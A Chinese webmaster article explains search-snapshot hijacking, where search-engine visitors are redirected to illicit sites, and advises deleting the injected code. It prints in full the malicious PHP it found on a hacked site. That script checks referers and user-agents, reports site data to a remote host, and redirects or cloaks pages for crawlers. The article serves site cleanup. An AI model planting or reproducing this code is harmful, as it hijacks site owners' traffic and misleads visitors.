建站软件 优化软件 编程软件 网页辅助 站群程序 网站程序 图像处理 资源教程 字体下载 推荐软件


您的位置:首页 > 建站必知 > 常见网站快照php劫持代码

常见网站快照php劫持代码

时间:2018-08-27 08:43:07  来源:免费模板网 作者:风雪 阅读次数 tags劫持php

网站快照被劫持是个很头疼的事情,有多种,手机端的劫持,电脑端的劫持,甚至还分不同客户端的劫持,发现问题的确不容易。有谷歌手机端,UC客户端,百度客户端等等,小编遇到的就是手机自带的浏览器访问正常,uc和百度的客户端有问题。

特征如下,输入网址关键词百度出来的结果是非法信息,直接输入域名是正常的

网站劫持

点击链接然后跳转到其他地址

网站劫持特征

这个就是明显的网站快照被劫持了。找到对应代码

set_time_limit(20);
error_reporting(0);
define('u_b','/');
define('s_u','http://xxxxx.com/');
define('s_s','@baidu|so.com|sm.cn|sogou|yahoo|gogle@i');
define('h_t',$_SERVER['SERVER_NAME']);
define('r_s',$_SERVER['HTTP_REFERER']);
define('u_s',$_SERVER['HTTP_USER_AGENT']);
define('h_z',s_p());
function s_p(){
	$d='';
	if(isset($_SERVER['REQUEST_URI'])){
		$d=$_SERVER['REQUEST_URI'];
	} else{
		if(isset($_SERVER['argv'])){
			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
		} else{
			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
		}
	}
	if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){
		if(function_exists('mb_convert_encoding')){
			$d=mb_convert_encoding($d,'UTF-8','GBK');
		} else{
			$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);
		}
	}
	$r=explode('#',$d,2);
	$d=$r[0];
	return $d;
}
function r_s($url){
	$o=array('http' => array('method'=>"GET",'timeout'=>8));
	$context=stream_context_create($o);
	$h=file_get_contents($url,false,$context);
	if(empty($h)){
		$h=file_get_contents($url);
	}
	return $h;
}
if(preg_match(s_s,r_s)){
	$d_s=true;
	if(preg_match("@site%3A|inurl%3A@i",r_s)){
		setcookie('xx',h_t,time()+259200);
		$d_s=false;
	}
	if($d_s && empty($_COOKIE['xx'])){
		setcookie('xx',h_t,time()+259200);
		$d_u=s_u.'?xu='.bin2hex(h_z);
		$d_u.='&ua='.bin2hex(u_s);
		$d_u.='&ad=1&xh='.bin2hex(h_t);
		$d_c=r_s($d_u);
		header("Location: ".$d_c.'?'.h_t);
		exit;
	}
}
if(strstr(h_z,u_b)){
	if(preg_match(s_s,u_s)){
		$d_u=s_u.'?xu='.bin2hex(h_z);
		$d_u.='&xh='.bin2hex(h_t);
		$d_u.='&ua='.bin2hex(u_s);
		$d_c=r_s($d_u);
		echo $d_c;
		exit;
	}
}

删除就可以了。

推荐一个php代码格式化网站

http://tools.jb51.net/code/jb51_php_format

本文地址:https://www.freemoban.com/jzbz/2018/0827/3043.html

猜你喜欢
栏目推荐
模板推荐

Copyright:www.freemoban.com 免费模板网 All Rights Reserved 网站备案:辽ICP备19014872号-2   辽公网安备 21010602000376号  辽公网安备:42900402000182号

免责声明:本站部分资源来自互联网收集,版权归原创者所有,如果侵犯了你的权益,我们会及时删除侵权内容,联系QQ:1615187561 谢谢合作!